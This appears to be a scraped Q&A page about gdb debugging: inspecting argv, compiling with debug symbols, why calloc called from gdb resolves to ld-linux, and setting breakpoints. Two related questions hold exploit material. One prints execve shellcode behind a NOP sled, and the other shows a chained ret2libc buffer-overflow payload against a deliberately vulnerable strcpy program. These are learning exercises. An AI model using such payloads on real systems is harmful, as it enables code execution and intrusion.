I am on linux using gdb version 6.8-debian. I have been curious about how the main function in a c-program gets executed and playing around and looking in different places, I learned that the function __libc_start_main is responsiple for this. The arguments to __libc_start_main are, among others: The address of main (like we know from c, the path is always given as argv[0]), next argc which should reside in the register ESI, and next address of argv which should be in ECX.
To play around I made the following simple program, cmdargs.c, which simply outputs the first command-line argument given at start:
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char *argv[])
{
printf("%s: %s\n", "argv[1]", *++argv);
return EXIT_SUCCESS;
}
Now I start to debug cmdargs and set a breakpoint on main and __libc_start_main (info from starting gdb removed):
gdb cmdargs
(gdb) b main
Breakpoint 1 at 0x80483d2
(gdb) b __libc_start_main
Breakpoint 2 at 0xb7f3f5a8
(gdb) r qwerty
Here i hit the Breakpoint 2 in __libc_start_main and can view argc and argv[0] with
(gdb) p $esi
and
(gdb) x/s *($ecx)
This works as expected, but how do I access the first non-implicit commandline-argument "qwerty" ? I have tried continuing to the breakpoint at main and stepping in, but argc and argv are not recognised (Why?). Can someone tell me whats going on ?
Breakpoint 1, 0x080483d2 in main ()
(gdb) stepi
0x080483d5 in main ()
(gdb) p argc
No symbol "argc" in current context.
(gdb) p argv
No symbol "argv" in current context.
(gdb)
Yep, your problem is the lack of symbols, not included at compilation time.
To compile with debugging information:
$ gcc -g3 cmdargs.c -o cmdargs
Then:
$ gdb ./cmdargs
...
Reading symbols from ./cmdargs...done.
(gdb) b main
Breakpoint 1 at 0x400545: file cmdargs.c, line 6.
(gdb) r
Starting program: cmdargs
Breakpoint 1, main (argc=1, argv=0x7fffffffdc28) at cmdargs.c:6
6 printf("%s: %s\n", "argv[1]", *++argv);
(gdb) p argc
$1 = 1
(gdb) p argv
$2 = (char **) 0x7fffffffdc28
(gdb) p *argv
$3 = 0x7fffffffe00c "/home/jcgonzalez/cmdargs"
See, now you get access to the symbols (they are recognized), as well as to the line numbers. As shown by Let_Me_Be, you can access single array elements with array[n] notation, but you can also show all the command line arguments at once (including the [0]-ed one) with the *array#times notation. Note that the first argument in the following example is a quoted string:
(gdb) set args "this is an argument" these are four more
(gdb) r
Starting program: cmdargs "this is an argument" these are four more
Breakpoint 1, main (argc=6, argv=0x7fffffffdbd8) at cmdargs.c:6
6 printf("%s: %s\n", "argv[1]", *++argv);
(gdb) p argc
$4 = 6
(gdb) p *argv#argc
$5 = {0x7fffffffdfe6 "/home/jcgonzalez/cmdargs", 0x7fffffffdfff "this is an argument", 0x7fffffffe012 "these", 0x7fffffffe017 "are", 0x7fffffffe01b "four",
0x7fffffffe020 "more"}
(gdb) p argv[1]
$6 = 0x7fffffffdfff "this is an argument"
(gdb) p argv[2]
$7 = 0x7fffffffe012 "these"
The output looks as if you don't have enough debuging information. GDB shouldn't print only addresses but line numbers as well.
(gdb) b main
Breakpoint 1 at 0x400543: file test.c, line 3.
(gdb) r test1 test2
Starting program: /home/simon/a.out test1 test2
Breakpoint 1, main (argc=3, argv=0x7fffffffdca8) at test.c:3
3 puts("blabla");
(gdb) print argc
$1 = 3
(gdb) print argv
$2 = (char **) 0x7fffffffdca8
(gdb) print argv[0]
$3 = 0x7fffffffe120 "/home/simon/a.out"
(gdb) print argv[1]
$4 = 0x7fffffffe132 "test1"
(gdb) print argv[2]
$5 = 0x7fffffffe138 "test2"
(gdb)
you should add the -g options to gcc, which tells it to build debug info too..
Related
I have this small program:
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
printf("argv[1] -> %s\n", argv[1]);
}
Which I analyzed in gdb with the following commands:
$ gdb -q --args foo hello
Reading symbols from foo...
(gdb) break main
Breakpoint 1 at 0x1148: file foo.c, line 5.
(gdb) run
Starting program: /tmp/foo/foo hello
Breakpoint 1, main (argc=2, argv=0x7fffffffea68) at foo.c:5
5 printf("argv[1] -> %s\n", argv[1]);
(gdb) print argv#2
$1 = {0x7fffffffea68, 0x200000000}
(gdb) print *argv#2
$2 = {0x7fffffffecd8 "/tmp/foo/foo", 0x7fffffffece5 "hello"}
I don't understand how argv[1] can yield the string "hello" when the content of argv[1] is
0x200000000 and not 0x7fffffffece5 which is the actual address of the string "hello".
print argv#2 doesn't do what you think it does. Instead of printing argv[0] and argv[1], it appears to print (&argv)[0] and (&argv)[1].
Here's what I got when I tried debugging your program:
(gdb) p argv
$1 = (char **) 0x7fffffffecd8
(gdb) p argv[0]
$2 = 0x7fffffffeeb8 "/home/a.out"
(gdb) p argv[1]
$3 = 0x0
(gdb) p argv#2
$4 = {0x7fffffffecd8, 0x100000000}
(gdb) p (&argv)[1]
$5 = (char **) 0x100000000
I used the examine command in gdb and now things make sense:
(gdb) x/2xg argv
0x7fffffffea58: 0x00007fffffffecc2 0x00007fffffffecd5
(gdb) x/1s 0x00007fffffffecc2
0x7fffffffecc2: "/tmp/foo/foo"
(gdb) x/1s 0x00007fffffffecd5
0x7fffffffecd5: "hello"
(gdb)
I created an environment variable SHELLCODE which contains a 200-byte long NOP sled and a shellcode. It is stored at 0x7fffffffe285, but I'll try to access 0x7fffffffe2e5, which is around the middle of the NOP sled.
Then I wrote the following code to try to access the variable.
#include <stdlib.h>
int main() {
char *pointer = 0x00007fffffffe2e5;
printf("%s\n", *pointer);
}
I used gdb to see the memory
(gdb) list 1
1 #include <stdio.h>
2
3 int main() {
4 char *pointer = (char *) 0x00007fffffffe2e5;
5 printf("%s\n", *pointer);
6 }
(gdb) break 5
(gdb) run
(gdb) p pointer
$1 = 0x7fffffffe2e5 '\220' <repeats 119 times>, "\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
(gdb) p *pointer
$2 = -112 '\220'
(gdb) p/x *pointer
$3 = 0x90
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a5bcc0 in _IO_vfprintf_internal (
s=0x7ffff7dd2620 <_IO_2_1_stdout_>, format=<optimized out>,
ap=ap#entry=0x7fffffffdc58) at vfprintf.c:1632
1632 vfprintf.c: No such file or directory.
The pointer was clearly pointing to the middle of the NOP sled, and gdb could access and see what was at that address. But I keep getting this Segmentation fault error.
Is this because C programs are not allowed to access memory where environment variables are stored? If so, is there a way to allow it to access the memory?
I'm using Ubuntu 16.04 and gcc 5.4.0.
Thanks in advance.
The getenv function is used to retrieve the values of environment variables:
const char *shellcode = getenv("SHELLCODE");
I am trying to exploit below code using Chained ret2libc attack. I am trying to execute execl('/bin/zsh','/bin/zsh',NULL) function.
To write NULL at the 3rd argument of execl, I have used printf(%5$n).
Code:
int main(int argc, char *argv[]){
char buf[256];
printf("%p",buf);
strcpy(buf, argv[1]);
}
To do this, I have exported 2 ENV variables such as:
user$ export SHELL='/bin/zsh'
user$ export test1='%5$n'
Then I compiled the program as below:
user$ gcc -ggdb -mpreferred-stack-boundry=2 -fno-stack-protector -fomit-frame-pointer -o vuln program.c
After that I opened this executable with gdb:
user$ gdb -q vuln
gdb> break main
gdb> run test
gdb> STOPPED AT BREAKPOINT
gdb> print PRINTF --> got the address of this function
gdb> print EXECL --> got this address
gdb> print EXIT --> got this address too
To get the address of ENV variables, i ran
gdb> x/500s $esp --> kept pressing ENTER and got the address. I also got the exact address of String '/bin/zsh' instead of address of 'SHELL=/bin/zsh' by adding 6. Similarly got the addres of '%5$n'.
To get the address of POP - RET inst, ran objdump -D vuln | grep -A20 pop --> got the address of one pop-ret instruction.
So input to the program looks like:
"A"*256+ printf_address + pop-ret address + '%5$n' address +execl address+ exit address+ '/bin/zsh' address + '/bin/zsh' address+ 3rd argument address.
I calculated 3rd argument address as base_address_of_buffer(printed by program)+256+28 (7 additional 4 bytes blocks)
But after running this program, it goes to execl and gives an error as below
Below is the input and output I am getting:
(gdb) run $(python -c 'print "A"*256+"\xa0\xb8\xe6\xb7"+"\x24\x85\x04\x08"+"\x54\xfe\xff\xbf"+"\x90\xa2\xed\xb7"+"\xf0\x1b\xe5\xb7"+"\x7e\xf5\xff\xbf"+"\x7e\xf5\xff\xbf"+"\x28\xf3\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/himmat/Desktop/vuln $(python -c 'print "A"*256+"\xa0\xb8\xe6\xb7"+"\x24\x85\x04\x08"+"\x54\xfe\xff\xbf"+"\x90\xa2\xed\xb7"+"\xf0\x1b\xe5\xb7"+"\x7e\xf5\xff\xbf"+"\x7e\xf5\xff\xbf"+"\x28\xf3\xff\xbf"')
Breakpoint 1, main (argc=2, argv=0xbffff284) at chained_ret2libc.c:14
14 {
(gdb) cont
Continuing.
process 3720 is executing new program: /bin/zsh4
Breakpoint 1, 0x08053443 in main ()
(gdb) cont
Continuing.
/bin/zsh: can't open input file:
[Inferior 1 (process 3720) exited with code 0177]
(gdb)
Error I am getting
To verify that all functions are being executed and 3rd argument is filled with NULL, refer below image.
Execution of program
I'm doing some experimentation with editing a process memory while it's running, and I noticed when I call calloc in a gdb'd process, the call seems to work and return the original passed pointer, but the memory does not appear to be initialized to 0:
(gdb) call calloc(1, 32)
$88 = (void *) 0x8d9d50
(gdb) x/8xw 0x8d9d50
0x8d9d50: 0xf74a87d8 0x00007fff 0xf74a87d8 0x00007fff
0x8d9d60: 0xfbfbfbfb 0xfbfbfbfb 0x00000000 0x9b510000
If I call memset on the resulting pointer, however, the initialization works just fine:
(gdb) call memset(0x8d9d50, 0, 32)
$89 = 9280848
(gdb) x/8xw 0x8d9d50
0x8d9d50: 0x00000000 0x00000000 0x00000000 0x00000000
0x8d9d60: 0x00000000 0x00000000 0x00000000 0x00000000
Interesting question. The answer is: on Linux (where I assume you ran your program) this:
(gdb) call calloc(1, 32)
doesn't call calloc from libc.so.6.
Rather it calls calloc from ld-linux.so.2. And that calloc is very minimal. It expects to be called only from ld-linux.so.2 itself, and it assumes that whatever pages it has access to are "clean" and do not require a memset. (That said, I could not reproduce the unclean calloc using glibc-2.19).
You can confirm this like so:
#include <stdlib.h>
int main()
{
void *p = calloc(1, 10);
return p == 0;
}
gcc -g foo.c -m32 && gdb -q ./a.out
Reading symbols from ./a.out...done.
(gdb) start
Temporary breakpoint 1 at 0x8048426: file foo.c, line 4.
Starting program: /tmp/a.out
Temporary breakpoint 1, main () at foo.c:4
warning: Source file is more recent than executable.
4 void *p = calloc(1, 10);
(gdb) b __libc_calloc
Breakpoint 2 at 0xf7e845a0
(gdb) n
Breakpoint 2, 0xf7e845a0 in calloc () from /lib32/libc.so.6
(gdb) fin
Run till exit from #0 0xf7e845a0 in calloc () from /lib32/libc.so.6
0x0804843a in main () at foo.c:4
4 void *p = calloc(1, 10);
Note how the call from the program to calloc hit breakpoint #2.
(gdb) n
5 return p == 0;
(gdb) call calloc(1,32)
$1 = 134524952
Note that above call from GDB did not hit breakpoint #2.
Let's try again with:
(gdb) info func calloc
All functions matching regular expression "calloc":
Non-debugging symbols:
0x08048310 calloc#plt
0xf7fdc820 calloc#plt
0xf7ff16a0 calloc
0xf7e25450 calloc#plt
0xf7e845a0 __libc_calloc
0xf7e845a0 calloc
(gdb) info sym 0xf7ff16a0
calloc in section .text of /lib/ld-linux.so.2 ## this is the wrong one!
(gdb) break *0xf7ff16a0
Breakpoint 3, 0xf7ff16a0 in calloc () from /lib/ld-linux.so.2
(gdb) disable
(gdb) start
Temporary breakpoint 7 at 0x8048426: file foo.c, line 4.
Starting program: /tmp/a.out
Temporary breakpoint 7, main () at foo.c:4
4 void *p = calloc(1, 10);
(gdb) ena 3
(gdb) n
5 return p == 0;
Note that breakpoint #3 did not fire above (because the "real" __libc_calloc was called).
(gdb) call calloc(1,32)
Breakpoint 3, 0xf7ff16a0 in calloc () from /lib/ld-linux.so.2
The program being debugged stopped while in a function called from GDB.
Evaluation of the expression containing the function
(calloc) will be abandoned.
When the function is done executing, GDB will silently stop.
(gdb) bt
#0 0xf7ff16a0 in calloc () from /lib/ld-linux.so.2
#1 <function called from gdb>
#2 main () at foo.c:5
QED.
Update:
I don't see the ld-linux version in the output of "info func calloc"
I think what you see in info func depends on whether you have debug symbols installed. For a (64-bit) glibc with debug symbols, here is what I see:
(gdb) info func calloc
All functions matching regular expression "calloc":
File dl-minimal.c:
void *calloc(size_t, size_t); <<< this is the wrong one!
File malloc.c:
void *__libc_calloc(size_t, size_t); <<< this is the one you want!
Non-debugging symbols:
0x0000000000400440 calloc#plt
0x00007ffff7ddaab0 calloc#plt
0x00007ffff7a344e0 calloc#plt
Here is another way to figure out what calloc GDB thinks it should be calling:
(gdb) start
Temporary breakpoint 1 at 0x8048426: file foo.c, line 4.
Starting program: /tmp/a.out
Temporary breakpoint 1, main () at foo.c:4
warning: Source file is more recent than executable.
4 void *p = calloc(1, 10);
(gdb) p &calloc
$1 = (<text variable, no debug info> *) 0xf7ff16a0 <calloc>
(gdb) info sym 0xf7ff16a0
calloc in section .text of /lib/ld-linux.so.2
Or, for completness, using 64-bit glibc with debug symbols:
(gdb) start
Temporary breakpoint 1 at 0x400555: file foo.c, line 4.
Starting program: /tmp/a.out
Temporary breakpoint 1, main () at foo.c:4
4 void *p = calloc(1, 10);
(gdb) p &calloc
$1 = (void *(*)(size_t, size_t)) 0x7ffff7df1bc0 <calloc>
(gdb) info sym 0x7ffff7df1bc0
calloc in section .text of /lib64/ld-linux-x86-64.so.2
I am trying to add a breakpoint in my program using
b {line number}
but I am always getting an error that says:
No symbol table is loaded. Use the "file" command.
What should I do?
Here is a quick start tutorial for gdb:
/* test.c */
/* Sample program to debug. */
#include <stdio.h>
#include <stdlib.h>
int
main (int argc, char **argv)
{
if (argc != 3)
return 1;
int a = atoi (argv[1]);
int b = atoi (argv[2]);
int c = a + b;
printf ("%d\n", c);
return 0;
}
Compile with the -g3 option. g3 includes extra information, such as all the macro definitions present in the program.
gcc -g3 -o test test.c
Load the executable, which now contain the debugging symbols, into gdb:
gdb --annotate=3 test.exe
Now you should find yourself at the gdb prompt. There you can issue commands to gdb.
Say you like to place a breakpoint at line 11 and step through the execution, printing the values of the local variables - the following commands sequences will help you do this:
(gdb) break test.c:11
Breakpoint 1 at 0x401329: file test.c, line 11.
(gdb) set args 10 20
(gdb) run
Starting program: c:\Documents and Settings\VMathew\Desktop/test.exe 10 20
[New thread 3824.0x8e8]
Breakpoint 1, main (argc=3, argv=0x3d5a90) at test.c:11
(gdb) n
(gdb) print a
$1 = 10
(gdb) n
(gdb) print b
$2 = 20
(gdb) n
(gdb) print c
$3 = 30
(gdb) c
Continuing.
30
Program exited normally.
(gdb)
In short, the following commands are all you need to get started using gdb:
break file:lineno - sets a breakpoint in the file at lineno.
set args - sets the command line arguments.
run - executes the debugged program with the given command line arguments.
next (n) and step (s) - step program and step program until it
reaches a different source line, respectively.
print - prints a local variable
bt - print backtrace of all stack frames
c - continue execution.
Type help at the (gdb) prompt to get a list and description of all valid commands.
Start gdb with the executable as a parameter, so that it knows which program you want to debug:
gdb ./myprogram
Then you should be able to set breakpoints. For example:
b myfile.cpp:25
b some_function
Make sure you used the -g option when compiling.
You need to tell gdb the name of your executable file, either when you run gdb or using the file command:
$ gdb a.out
or
(gdb) file a.out
You need to use -g or -ggdb option at compile time of your program.
E.g., gcc -ggdb file_name.c ; gdb ./a.out